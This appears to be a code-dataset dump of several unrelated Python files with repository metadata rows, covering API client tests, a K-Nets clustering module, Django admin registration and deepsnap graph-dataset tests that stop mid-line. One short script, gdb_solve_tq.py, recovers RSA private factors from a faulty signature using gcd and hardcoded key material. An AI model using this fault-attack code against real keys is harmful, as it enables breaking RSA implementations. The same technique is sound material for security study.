text=json.dumps({Model._RESPONSE_KEY_MODEL: wrong_content})) data._new(organisation_id=organisation_id) mock.get(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data._new(organisation_id=organisation_id) schema = DataSchema() for key in content: if (Model._METADATA_HIDE not in schema.fields[key].metadata) and (content[key] is not None): self.assertEqual(json.dumps(content[key], default=json_default), json.dumps(getattr(data, key), default=json_default)) def test_schema(self): """ Tests that a data model can be loaded into the schema. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) model = DataSchema().load(content) self.assertIsNotNone(model) for key in content: self.assertEqual(json.dumps(content[key], default=json_default), json.dumps(model[key], default=json_default)) def test_update(self): """ Tests that an object can be updated to the API. """ with open(self.fixture_path('data.json'), 'r') as file: content = json.loads(file.read()) session = Session() organisation_id = content.get('organisation_id') data_id = content.get(Model._FIELD_ID) path = Data._PATH_PATCH.format(organisation_id=organisation_id, data_id=data_id) name = 'Test' data = Data(session) self.assertIsNotNone(data) with requests_mock.Mocker() as mock: mock.get(f"{Session.API_URL_DEFAULT}{Data._PATH_GET.format(organisation_id=organisation_id, data_id=data_id)}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data.get(organisation_id=organisation_id, data_id=data_id) self.assertIsNotNone(data) self.assertEqual(str(data_id), str(data.id)) with pytest.raises(RequestError): mock.patch(f"{Session.API_URL_DEFAULT}{path}", exc=requests.exceptions.ConnectTimeout) data.update(name=name) with pytest.raises(RequestError): mock.patch(f"{Session.API_URL_DEFAULT}{path}", status_code=400) data.update(name=name) with pytest.raises(ModelError): mock.patch(f"{Session.API_URL_DEFAULT}{path}", text='{}') data.update(name=name) self.assertNotEqual(name, data.name) content['name'] = name mock.patch(f"{Session.API_URL_DEFAULT}{path}", text=json.dumps({Model._RESPONSE_KEY_MODEL: content})) data.update(name=name) self.assertEqual(name, data.name)

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0.629136

2,634

21,609

4.897115

0.059226

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0.032871

0.055353

0.895651

0.888984

0.873866

0.856035

0.848438

0.834173

0

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0.259753

21,609

514

139

42.040856

0.802388

0.043269

0

0.820513

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0.116068

0.092854

0

0.088319

1

0.034188

false

0

0.034188

0

0.071225

0

null

0

1

0

1

0

null

0

7

1588824b291ba459a14f583eb74f4d2fe4b85cdd

8,846

py

Python

CSKnet.py

imaraziotis/K-Networks

77f59635e486e816b29041382001eff901a03458

[ "BSD-3-Clause" ]

null

CSKnet.py

imaraziotis/K-Networks

77f59635e486e816b29041382001eff901a03458

[ "BSD-3-Clause" ]

null

CSKnet.py

imaraziotis/K-Networks

77f59635e486e816b29041382001eff901a03458

[ "BSD-3-Clause" ]

1

2022-03-13T08:14:23.000Z

# Author: Ioannis Maraziotis <imaraziotis@gmail.com> # # License: BSD 3 clause import scipy.io as sio from scipy.spatial import distance import numpy as np import utils4knets # ********************************************* # Construction/Selection Knet Phases # ********************************************* """ CSPhase_SMODE (Construction & Selection Phase / Similarity Mode): Constructs Pre-Clusters and Selects the most compact ones. The number of the corresponding/selected Pre-Exemplars formulates the final number of clusters. Input Parameters: Similarities: This is the data input and it can have the forms: 1. Square Similarity Matrix of the form NxN, where N is the number of samples. 2. A tuple composed of two vectors. The first one contains the K+k NNs of each sample, while the second the second the corresponding similarity values. k: The clustering resolution parameter c: Optional Parameter indicating the number of requested clusters. min_max: Indicates whether K-Nets critetion is to be minimized or maximized (default min_max = 1) """ def CSPhase_SMODE(NNs, DNNs, kns): # n = np.shape(Similarities)[0] n = np.shape(NNs)[0] # Check if we have to minimize or maximize the criterion and if a data or similarity matrix has been provided as input # if kns['min_max'] == 1: # sorted_dists_inds = np.argsort(Similarities, axis=1) # else: # sorted_dists_inds = np.transpose(np.argsort(Similarities, axis=0)[::-1]) scores = np.zeros(n) IDX = np.zeros(n) cur_exemplars_num = 0 PCs = [None] * n exemplars = [] Kinit = kns['k'] # The basic loop of CSPhase K-Net. It originates from the input k value and decreases it until the requested number of # exemplars is reached. for k in range(Kinit, 0, -1): # Construction Phase for i in np.arange(n): sv = DNNs[i, :] si = NNs[i, :] if kns['min_max'] == 1: # cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] <= Similarities[i, sorted_dists_inds[i, k-1]]) equal_distanced_members = np.nonzero(sv <= sv[k-1]) else: # cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] >= Similarities[i, sorted_dists_inds[i, k-1]]) equal_distanced_members = np.nonzero(sv >= sv[k-1]) # scores[i] = np.sum(Similarities[i, sorted_dists_inds[i, cinds]]) / (k + 1) scores[i] = np.sum(sv[equal_distanced_members]) / (k + 1) # PCs[i] = sorted_dists_inds[i, cinds] # PCs.append(sorted_dists_inds[i, cinds]) PCs[i] = si[equal_distanced_members] # PCs.append(sorted_dists_inds[i, cinds]) if kns['min_max'] == 1: sorted_scores_inds = np.argsort(scores) else: sorted_scores_inds = np.argsort(scores)[::-1] # Selection Phase for i in np.arange(n): if np.sum(IDX[PCs[sorted_scores_inds[i]]]) == 0: cur_exemplars_num = cur_exemplars_num + 1 IDX[PCs[sorted_scores_inds[i]]] = 1 exemplars.append(sorted_scores_inds[i]) # exemplars[cur_exemplars_num] = 1# # Break the CSPhase if is: # 1. Standard mode (i.e. c=0) OR # 2. Exact mode (c>0) AND the current number of exemplars is larger than the requested number c. if cur_exemplars_num >= kns['c']: break Nex = len(exemplars) # Number of exemplars # if the number of requested exemplars/clusters c is larger than the current exemplars number Nex, set if kns['c'] > Nex: c = Nex # Select the exemplars corresponding to the c most compact clusters. if kns['c'] != 0: exemplars = exemplars[0:kns['c']] return exemplars def CSPhase_SMODE_prior(kns): # n = np.shape(Similarities)[0] n = np.shape(kns['NNs'])[0] # Check if we have to minimize or maximize the criterion and if a data or similarity matrix has been provided as input # if kns['min_max'] == 1: # sorted_dists_inds = np.argsort(Similarities, axis=1) # else: # sorted_dists_inds = np.transpose(np.argsort(Similarities, axis=0)[::-1]) scores = np.zeros(n) IDX = np.zeros(n) cur_exemplars_num = 0 PCs = [None] * n exemplars = [] Kinit = kns['k'] # The basic loop of CSPhase K-Net. It originates from the input k value and decreases it until the requested number of # exemplars is reached. for k in range(Kinit, 0, -1): # Construction Phase for i in np.arange(n): sv = kns['DNNs'][i, :] si = kns['NNs'][i, :] if kns['min_max'] == 1: # cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] <= Similarities[i, sorted_dists_inds[i, k-1]]) equal_distanced_members = np.nonzero(sv <= sv[k-1]) else: # cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] >= Similarities[i, sorted_dists_inds[i, k-1]]) equal_distanced_members = np.nonzero(sv >= sv[k-1]) # scores[i] = np.sum(Similarities[i, sorted_dists_inds[i, cinds]]) / (k + 1) scores[i] = np.sum(sv[equal_distanced_members]) / (k + 1) # PCs[i] = sorted_dists_inds[i, cinds] # PCs.append(sorted_dists_inds[i, cinds]) PCs[i] = si[equal_distanced_members] # PCs.append(sorted_dists_inds[i, cinds]) if kns['min_max'] == 1: sorted_scores_inds = np.argsort(scores) else: sorted_scores_inds = np.argsort(scores)[::-1] # Selection Phase for i in np.arange(n): if np.sum(IDX[PCs[sorted_scores_inds[i]]]) == 0: cur_exemplars_num = cur_exemplars_num + 1 IDX[PCs[sorted_scores_inds[i]]] = 1 exemplars.append(sorted_scores_inds[i]) # exemplars[cur_exemplars_num] = 1# # Break the CSPhase if is: # 1. Standard mode (i.e. c=0) OR # 2. Exact mode (c>0) AND the current number of exemplars is larger than the requested number c. if cur_exemplars_num >= kns['c']: break Nex = len(exemplars) # Number of exemplars # if the number of requested exemplars/clusters c is larger than the current exemplars number Nex, set if kns['c'] > Nex: c = Nex # Select the exemplars corresponding to the c most compact clusters. if kns['c'] != 0: exemplars = exemplars[0:kns['c']] return exemplars def CSPhase_SMODE0(Similarities, kns): n = np.shape(Similarities)[0] # Check if we have to minimize or maximize the criterion and if a data or similarity matrix has been provided as input if kns['min_max'] == 1: sorted_dists_inds = np.argsort(Similarities, axis=1) else: sorted_dists_inds = np.transpose(np.argsort(Similarities, axis=0)[::-1]) scores = np.zeros(n) IDX = np.zeros(n) cur_exemplars_num = 0 PCs = [None] * n exemplars = [] Kinit = kns['k'] # The basic loop of CSPhase K-Net. It originates from the input k value and decreases it until the requested number of # exemplars is reached. for k in range(Kinit, 0, -1): # Construction Phase for i in np.arange(n): if kns['min_max'] == 1: cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] <= Similarities[i, sorted_dists_inds[i, k-1]]) else: cinds = np.nonzero(Similarities[i, sorted_dists_inds[i, :]] >= Similarities[i, sorted_dists_inds[i, k-1]]) scores[i] = np.sum(Similarities[i, sorted_dists_inds[i, cinds]]) / (k + 1) PCs[i] = sorted_dists_inds[i, cinds] # PCs.append(sorted_dists_inds[i, cinds]) if kns['min_max'] == 1: sorted_scores_inds = np.argsort(scores) else: sorted_scores_inds = np.argsort(scores)[::-1] # Selection Phase for i in np.arange(n): if np.sum(IDX[PCs[sorted_scores_inds[i]]]) == 0: cur_exemplars_num = cur_exemplars_num + 1 IDX[PCs[sorted_scores_inds[i]]] = 1 exemplars.append(sorted_scores_inds[i]) # exemplars[cur_exemplars_num] = 1# # Break the CSPhase if is: # 1. Standard mode (i.e. c=0) OR # 2. Exact mode (c>0) AND the current number of exemplars is larger than the requested number c. if cur_exemplars_num >= kns['c']: break Nex = len(exemplars) # Number of exemplars # if the number of requested exemplars/clusters c is larger than the current exemplars number Nex, set if kns['c'] > Nex: c = Nex # Select the exemplars corresponding to the c most compact clusters. if kns['c'] != 0: exemplars = exemplars[0:kns['c']] return exemplars

39.141593

124

0.610558

1,254

8,846

4.1874

0.130782

0.03047

0.082841

0.070082

0.840602

0.836222

0.824034

0

0.01328

0.267918

8,846

225

125

39.315556

0.79756

0.389894

0

0.81982

0

0.016203

0

1

0.027027

false

0

0.036036

0

0.09009

0

null

0

1

0

1

0

null

0

7

ec60bedb80aa92c490762406da2a5c8bfce3f20d

43

py

Python

src/python_requests_mock/tests/__init__.py

ivangeorgiev/gems

823076051695029b4d699744dc76c959a8476230

[ "CC0-1.0" ]

10

2020-11-12T23:45:31.000Z

2022-03-25T07:29:42.000Z

src/python_requests_mock/tests/__init__.py

ivangeorgiev/gems

823076051695029b4d699744dc76c959a8476230

[ "CC0-1.0" ]

null

src/python_requests_mock/tests/__init__.py

ivangeorgiev/gems

823076051695029b4d699744dc76c959a8476230

[ "CC0-1.0" ]

7

2020-12-15T20:40:00.000Z

2022-03-18T01:41:48.000Z

from ..requests_mock import requests_mock

21.5

42

0.837209

6

43

5.666667

0.666667

0.705882

0

0.116279

43

1

43

0.894737

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

ec63f4fc083fb7d8ae1c648d3deb043f61454462

211

py

Python

src/alert/admin.py

gettis/tlsscout

55dd5a1dbc3329aa451bfd82aac9a0f68d52136f

[ "BSD-3-Clause" ]

9

2015-03-16T08:40:34.000Z

2020-10-13T15:15:38.000Z

src/alert/admin.py

gettis/tlsscout

55dd5a1dbc3329aa451bfd82aac9a0f68d52136f

[ "BSD-3-Clause" ]

6

2015-03-22T19:32:52.000Z

2022-02-11T03:39:24.000Z

src/alert/admin.py

gettis/tlsscout

55dd5a1dbc3329aa451bfd82aac9a0f68d52136f

[ "BSD-3-Clause" ]

8

2015-05-02T13:21:40.000Z

2020-09-30T17:59:49.000Z

from django.contrib import admin from . import models admin.site.register(models.SiteAlert) admin.site.register(models.TagAlert) admin.site.register(models.GroupAlert) admin.site.register(models.AlertHistory)

23.444444

40

0.829384

28

211

6.25

0.428571

0.205714

0.388571

0.525714

0

0.066351

211

8

41

26.375

0.888325

0

1

0

true

0

0.333333

0

0.333333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

01e471fbd80fd0a057bc00cac228b1cbd9225493

82

py

Python

hivs_utils/datetime.py

tehamalab/hivs

db7dfa7f89174be07d42bd469fd23c8553c0eff2

[ "MIT" ]

null

hivs_utils/datetime.py

tehamalab/hivs

db7dfa7f89174be07d42bd469fd23c8553c0eff2

[ "MIT" ]

1

2022-03-12T00:23:43.000Z

hivs_utils/datetime.py

tehamalab/hivs

db7dfa7f89174be07d42bd469fd23c8553c0eff2

[ "MIT" ]

null

from django.utils import timezone def today(): return timezone.now().date()

13.666667

33

0.707317

11

82

5.272727

0.909091

0

0.170732

82

5

34

16.4

0.852941

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

170b63cf11050eb2c87a627070aeeb6188265bdd

1,442

py

Python

gdb_solve_tq.py

aditi-gupta/rsa-mbedtls

f1f226b8456ebfa868b0e04ffed14ac507637796

[ "Apache-2.0" ]

null

gdb_solve_tq.py

aditi-gupta/rsa-mbedtls

f1f226b8456ebfa868b0e04ffed14ac507637796

[ "Apache-2.0" ]

null

gdb_solve_tq.py

aditi-gupta/rsa-mbedtls

f1f226b8456ebfa868b0e04ffed14ac507637796

[ "Apache-2.0" ]

null

from fractions import gcd import binascii def solve_private_keys(e, s, m, n): p = gcd(pow(s, e)-m,n) q = n//p private_keys = [p, q] return private_keys e = int("010001", 16) s = int("0C30066CB66F445BBA940D4A3A5B835081753177408B1A2F02CDE96349783EADEA0FB3C0B0F8F8B6B9BB50303690F6AC07EC34FDA5CB6D0095D4A13B38BBF3947194195764271ED1670C3395A550AB41D471A3BDC3219A4805A145BA524E6146FA266E53D4075AC6892357ACD9F96AC1A7851B162423BADE11D7F2B7AA78E93AEED58D2A97E68B7C6B329A3D40256DA86220057FBA09CBCD9357396B855F420CD1560DACEF0FAFD8B383EAFE9B204BF65FA7E55E872D7AE0AD4FD347D8CDA57BF69AEA5B5ABC6654A21C005591A765E1CE5D8C60DA21C5836497C231B25D49393ACB1169DB0E4A3FDE50FD328A88757B4C15F7AC9B3DE9B55D03D797166A81C2", 16) #you get this when you replace *0x6df4e0 with 0x8 m = int("3031300d0609608648016503040201050004207e6bb673f061cfd23cba009e648143fb07ac77dcd1681f6a9af9d5fe7c0f7f4b", 16) n = int("AE1EC41FDD978C18CB43F9587F9B85DF804603100611497DCB445D157E44E717C78D53FAC3644DEA302645F6CFF852A785C3DAEA525BE01A4B1960D6512D97C677436ED17D03A55DDD8E41D737456C2B1512D533806EB048C5570269CBDFABB5E335821CE69C892A825A3896FC46990A8F6FECC759DAD9D6FD76BBF55BAA34B0789CACE898B6CC8CDBB50A0BFE7073A31DAF0B67845F76B71D42942B03FC02D6D68789C6CEF502C39AA0FB392E5E84BD1581E7295BDF6C45463FEA20A5220413381B82A72F95B1BB29AC6E833B70EB5B9F9D43B4D56A94ECBD02C1CBC8C8EED903485BD2A379A8B81B8FE20216EE6019A5F19656A483CCD9C23EB3B17678050B", 16) print solve_private_keys(e, s, m, n)

90.125

577

0.921637

64

1,442

20.671875

0.5

0.033258

0.027211

0.025699

0.030234

0

0.524982

0.042302

1,442

15

578

96.133333

0.43302

0.033287

0

0.812635

0.808327

0

1

0

null

0

0.166667

null

0.083333

0

1

null

0

1

0

1

0

1

null

1

0

1

0

7

170c694786aa8c246a72c936ea69c3625be722fb

92,893

py

Python

tests/test_dataset.py

ruth-ann/deepsnap

35eeb5abdb304c53b2e0a68cbbeeaa55dca286a0

[ "MIT" ]

412

2020-06-20T01:37:29.000Z

2022-03-29T11:32:55.000Z

tests/test_dataset.py

ruth-ann/deepsnap

35eeb5abdb304c53b2e0a68cbbeeaa55dca286a0

[ "MIT" ]

43

2020-06-21T09:16:10.000Z

2022-02-28T03:07:50.000Z

tests/test_dataset.py

ruth-ann/deepsnap

35eeb5abdb304c53b2e0a68cbbeeaa55dca286a0

[ "MIT" ]

46

2020-06-20T02:00:48.000Z

2022-03-16T21:25:20.000Z

import random import torch import unittest from torch_geometric.datasets import TUDataset, Planetoid from copy import deepcopy from deepsnap.graph import Graph from deepsnap.hetero_graph import HeteroGraph from deepsnap.dataset import GraphDataset, Generator, EnsembleGenerator from tests.utils import ( simple_networkx_graph, simple_networkx_small_graph, simple_networkx_graph_alphabet, simple_networkx_dense_graph, simple_networkx_dense_multigraph, simple_networkx_multigraph, generate_dense_hete_dataset, generate_simple_small_hete_graph, generate_simple_dense_hete_graph, generate_simple_dense_hete_multigraph, generate_dense_hete_multigraph, gen_graph ) class TestDataset(unittest.TestCase): def test_dataset_basic(self): G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) H = deepcopy(G) dataset = GraphDataset([G, H]) self.assertEqual(len(dataset), 2) def test_dataset_property(self): G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) H = G.copy() Graph.add_graph_attr(H, "graph_label", torch.tensor([1])) graphs = [G, H] dataset = GraphDataset(graphs) self.assertEqual(dataset.num_node_labels, 5) self.assertEqual(dataset.num_node_features, 2) self.assertEqual(dataset.num_edge_labels, 4) self.assertEqual(dataset.num_edge_features, 2) self.assertEqual(dataset.num_graph_labels, 2) self.assertEqual(dataset.num_graph_features, 2) self.assertEqual(dataset.num_labels, 5) # node task dataset = GraphDataset(graphs, task="edge") self.assertEqual(dataset.num_labels, 4) dataset = GraphDataset(graphs, task="link_pred") self.assertEqual(dataset.num_labels, 4) dataset = GraphDataset(graphs, task="graph") self.assertEqual(dataset.num_labels, 2) def test_dataset_hetero_graph_split(self): G = generate_dense_hete_dataset() hete = HeteroGraph(G) # node dataset = GraphDataset([hete], task="node") split_res = dataset.split() for node_type in hete.node_label_index: num_nodes = int(len(hete.node_label_index[node_type])) node_0 = int(num_nodes * 0.8) node_1 = int(num_nodes * 0.1) node_2 = num_nodes - node_0 - node_1 self.assertEqual( len(split_res[0][0].node_label_index[node_type]), node_0, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), node_1, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), node_2, ) # node with specified split type dataset = GraphDataset([hete], task="node") node_split_types = ["n1"] split_res = dataset.split(split_types=node_split_types) for node_type in hete.node_label_index: if node_type in node_split_types: num_nodes = int(len(hete.node_label_index[node_type])) node_0 = int(num_nodes * 0.8) node_1 = int(num_nodes * 0.1) node_2 = num_nodes - node_0 - node_1 self.assertEqual( len(split_res[0][0].node_label_index[node_type]), node_0, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), node_1, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), node_2, ) else: num_nodes = int(len(hete.node_label_index[node_type])) self.assertEqual( len(split_res[0][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), num_nodes, ) # node with specified split type (string mode) dataset = GraphDataset([hete], task="node") node_split_types = "n1" split_res = dataset.split(split_types=node_split_types) for node_type in hete.node_label_index: if node_type in node_split_types: num_nodes = int(len(hete.node_label_index[node_type])) node_0 = int(num_nodes * 0.8) node_1 = int(num_nodes * 0.1) node_2 = num_nodes - node_0 - node_1 self.assertEqual( len(split_res[0][0].node_label_index[node_type]), node_0, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), node_1, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), node_2, ) else: num_nodes = int(len(hete.node_label_index[node_type])) self.assertEqual( len(split_res[0][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[1][0].node_label_index[node_type]), num_nodes, ) self.assertEqual( len(split_res[2][0].node_label_index[node_type]), num_nodes, ) # edge dataset = GraphDataset([hete], task="edge") split_res = dataset.split() for edge_type in hete.edge_label_index: num_edges = hete.edge_label_index[edge_type].shape[1] edge_0 = int(num_edges * 0.8) edge_1 = int(num_edges * 0.1) edge_2 = num_edges - edge_0 - edge_1 self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], edge_0, ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], edge_1, ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], edge_2, ) # edge with specified split type dataset = GraphDataset([hete], task="edge") edge_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] split_res = dataset.split(split_types=edge_split_types) for edge_type in hete.edge_label_index: if edge_type in edge_split_types: num_edges = hete.edge_label_index[edge_type].shape[1] edge_0 = int(num_edges * 0.8) edge_1 = int(num_edges * 0.1) edge_2 = num_edges - edge_0 - edge_1 self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], edge_0, ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], edge_1, ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], edge_2, ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges, ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges, ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges, ) # link_pred dataset = GraphDataset([hete], task="link_pred") split_res = dataset.split(transductive=True) for edge_type in hete.edge_label_index: num_edges = hete.edge_label_index[edge_type].shape[1] edge_0 = 2 * int(0.8 * num_edges) edge_1 = 2 * int(0.1 * num_edges) edge_2 = 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], edge_2 ) # link_pred with specified split type dataset = GraphDataset([hete], task="link_pred") link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] split_res = dataset.split( transductive=True, split_types=link_split_types ) for edge_type in hete.edge_label_index: if edge_type in link_split_types: num_edges = hete.edge_label_index[edge_type].shape[1] edge_0 = 2 * int(0.8 * num_edges) edge_1 = 2 * int(0.1 * num_edges) edge_2 = 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], edge_0 ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], edge_1 ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], edge_2 ) else: num_edges = hete.edge_label_index[edge_type].shape[1] self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], num_edges ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], num_edges ) # link_pred + disjoint dataset = GraphDataset( [hete], task="link_pred", edge_train_mode="disjoint", edge_message_ratio=0.5, ) split_res = dataset.split( transductive=True, split_ratio=[0.6, 0.2, 0.2], ) for edge_type in hete.edge_label_index: num_edges = hete.edge_label_index[edge_type].shape[1] edge_0 = int(0.6 * num_edges) edge_0 = 2 * (edge_0 - int(0.5 * edge_0)) edge_1 = 2 * int(0.2 * num_edges) edge_2 = 2 * ( num_edges - int(0.6 * num_edges) - int(0.2 * num_edges) ) self.assertEqual( split_res[0][0].edge_label_index[edge_type].shape[1], edge_0, ) self.assertEqual( split_res[1][0].edge_label_index[edge_type].shape[1], edge_1, ) self.assertEqual( split_res[2][0].edge_label_index[edge_type].shape[1], edge_2, ) # link pred with edge_split_mode set to "exact" dataset = GraphDataset( [hete], task="link_pred", edge_split_mode="approximate" ) split_res = dataset.split(transductive=True) hete_link_train_edge_num = 0 hete_link_test_edge_num = 0 hete_link_val_edge_num = 0 num_edges = 0 for edge_type in hete.edge_label_index: num_edges += hete.edge_label_index[edge_type].shape[1] if edge_type in split_res[0][0].edge_label_index: hete_link_train_edge_num += ( split_res[0][0].edge_label_index[edge_type].shape[1] ) if edge_type in split_res[1][0].edge_label_index: hete_link_test_edge_num += ( split_res[1][0].edge_label_index[edge_type].shape[1] ) if edge_type in split_res[2][0].edge_label_index: hete_link_val_edge_num += ( split_res[2][0].edge_label_index[edge_type].shape[1] ) edge_0 = 2 * int(0.8 * num_edges) edge_1 = 2 * int(0.1 * num_edges) edge_2 = 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) self.assertEqual( hete_link_train_edge_num, edge_0 ) self.assertEqual( hete_link_test_edge_num, edge_1 ) self.assertEqual( hete_link_val_edge_num, edge_2 ) # link pred with specified types and edge_split_mode set to "exact" dataset = GraphDataset( [hete], task="link_pred", edge_split_mode="approximate", ) link_split_types = [("n1", "e1", "n1"), ("n1", "e2", "n2")] split_res = dataset.split( transductive=True, split_types=link_split_types, ) hete_link_train_edge_num = 0 hete_link_test_edge_num = 0 hete_link_val_edge_num = 0 num_split_type_edges = 0 num_non_split_type_edges = 0 for edge_type in hete.edge_label_index: if edge_type in link_split_types: num_split_type_edges += ( hete.edge_label_index[edge_type].shape[1] ) else: num_non_split_type_edges += ( hete.edge_label_index[edge_type].shape[1] ) if edge_type in split_res[0][0].edge_label_index: hete_link_train_edge_num += ( split_res[0][0].edge_label_index[edge_type].shape[1] ) if edge_type in split_res[1][0].edge_label_index: hete_link_test_edge_num += ( split_res[1][0].edge_label_index[edge_type].shape[1] ) if edge_type in split_res[2][0].edge_label_index: hete_link_val_edge_num += ( split_res[2][0].edge_label_index[edge_type].shape[1] ) num_edges = num_split_type_edges edge_0 = 2 * int(0.8 * num_edges) + num_non_split_type_edges edge_1 = 2 * int(0.1 * num_edges) + num_non_split_type_edges edge_2 = 2 * ( num_edges - int(0.8 * num_edges) - int(0.1 * num_edges) ) + num_non_split_type_edges self.assertEqual(hete_link_train_edge_num, edge_0) self.assertEqual(hete_link_test_edge_num, edge_1) self.assertEqual(hete_link_val_edge_num, edge_2) def test_dataset_split(self): # inductively split with graph task pyg_dataset = TUDataset("./enzymes", "ENZYMES") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset(graphs, task="graph") split_res = dataset.split(transductive=False) num_graphs = len(dataset) num_train = int(0.8 * num_graphs) num_val = int(0.1 * num_graphs) num_test = num_graphs - num_train - num_val self.assertEqual(num_train, len(split_res[0])) self.assertEqual(num_val, len(split_res[1])) self.assertEqual(num_test, len(split_res[2])) # inductively split with link_pred task # and default (`all`) edge_train_mode pyg_dataset = TUDataset("./enzymes", "ENZYMES") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset(graphs, task="link_pred") split_res = dataset.split(transductive=False) num_graphs = len(dataset) num_train = int(num_graphs * 0.8) num_val = int(num_graphs * 0.1) num_test = num_graphs - num_train - num_val self.assertEqual(num_train, len(split_res[0])) self.assertEqual(num_val, len(split_res[1])) self.assertEqual(num_test, len(split_res[2])) # inductively split with link_pred task and `disjoint` edge_train_mode pyg_dataset = TUDataset("./enzymes", "ENZYMES") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset( graphs, task="link_pred", edge_train_mode="disjoint", ) split_res = dataset.split(transductive=False) num_graphs = len(dataset) num_train = int(num_graphs * 0.8) num_val = int(num_graphs * 0.1) num_test = num_graphs - num_train - num_val self.assertEqual(num_train, len(split_res[0])) self.assertEqual(num_val, len(split_res[1])) self.assertEqual(num_test, len(split_res[2])) # transductively split with node task pyg_dataset = Planetoid("./cora", "Cora") graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset(graphs, task="node") num_nodes = dataset.num_nodes[0] node_0 = int(0.8 * num_nodes) node_1 = int(0.1 * num_nodes) node_2 = num_nodes - node_0 - node_1 split_res = dataset.split() self.assertEqual( len(split_res[0][0].node_label_index), node_0 ) self.assertEqual( len(split_res[1][0].node_label_index), node_1 ) self.assertEqual( len(split_res[2][0].node_label_index), node_2 ) for j in range(3): for i in range(split_res[j][0].node_label_index.shape[0]): node = split_res[j][0].node_label_index[i].item() node_label = split_res[j][0].node_label[i].item() self.assertEqual( dataset[0].G.nodes[node]["node_label"], node_label ) # transductively split with edge task G, x, y, edge_x, edge_y, edge_index, graph_x, graph_y = ( simple_networkx_graph() ) Graph.add_edge_attr(G, "edge_feature", edge_x) Graph.add_edge_attr(G, "edge_label", edge_y) Graph.add_node_attr(G, "node_feature", x) Graph.add_node_attr(G, "node_label", y) Graph.add_graph_attr(G, "graph_feature", graph_x) Graph.add_graph_attr(G, "graph_label", graph_y) graph = Graph(G) num_edges = graph.num_edges graphs = [graph] dataset = GraphDataset(graphs, task="edge") split_res = dataset.split() edge_0 = int(0.8 * num_edges) self.assertEqual( split_res[0][0].edge_label_index.shape[1], edge_0, ) edge_1 = int(0.1 * num_edges) self.assertEqual( split_res[1][0].edge_label_index.shape[1], edge_1, ) self.assertEqual( split_res[2][0].edge_label_index.shape[1], num_edges - edge_0 - edge_1, ) for j in range(3): for i in range(split_res[j][0].edge_label_index.shape[1]): node_0 = split_res[j][0].edge_label_index[0][i].item() node_1 = split_res[j][0].edge_label_index[1][i].item() edge_label = split_res[j][0].edge_label[i].item() self.assertEqual( G.edges[node_0, node_1]["edge_label"], edge_label ) # transductively split with link_pred task # and default (`all`) edge_train_mode pyg_dataset = Planetoid("./cora", "Cora") # dataset is undirected graphs = GraphDataset.pyg_to_graphs(pyg_dataset) dataset = GraphDataset(graphs, task="link_pred") num_edges = dataset.num_edges[0] edge_0 = 2 * 2 * int(0.8 * num_edges) edge_1 = 2 * 2 * int(0.1 * 